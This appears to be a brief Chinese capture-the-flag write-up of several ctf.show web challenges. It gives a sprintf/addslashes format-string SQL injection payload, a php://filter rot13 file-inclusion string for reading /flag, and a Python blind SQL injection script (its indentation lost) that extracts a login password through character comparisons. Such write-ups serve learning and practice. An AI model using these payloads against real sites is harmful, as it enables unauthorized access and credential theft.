给他 hao
开始以为是宽字节注入,然后发现不行,然后git泄露里的hint.php
sprintf和addslashes有个漏洞,从WordPress SQLi谈PHP格式化字符串问题
?name=1&pass=%1$' or 1%23
右键查看源码,提示flag位置
解码出来是flag.txt 是个文件包含漏洞,直接/flag不行,base64被禁了
然后用rot13
php://filter/read=string.rot13/resource=/flag
萌新记忆
感觉没啥可以利用的点,就扫,扫出了/admin,然后到/admin这个路由,是个登入框,可能是sql,
①用户名/密码错误:u的内容为错
②用户名错误:用户名长度超过限制(字符长度最大为20)
③密码错误:u的内容为对
然后可以盲注
然后过滤了挺多东西的,应该就只能用<来盲注吧,>,like,regexp,=都过滤了,然后是单引号包裹的,
还有注释那些也被过滤了。。。。。
想的就是
刚开始就是那个长度超过20,回显 用户名错误 卡了会
然后就写脚本
有个缺陷吧,就是不能区分大小写,不知道binary那个要怎么用
import requests
url="http://af2d170c-1d5f-4f22-9f67-501b9c58b7ac.challenge.ctf.show:8080/admin/checklogin.php"
flag=""
for i in range(1,1000):
for j in range(48,125):
s=chr(j)
payload="'||substr(p,{},1)<'{}".format(i,s)
data={
"u":payload,
"p":""
}
print(payload)
r=requests.post(url,data=data)
print(r.text)
if "密码错误" == r.text:
flag+=chr(j-1)
print(flag)
break
密码转成小写
然后登入就行了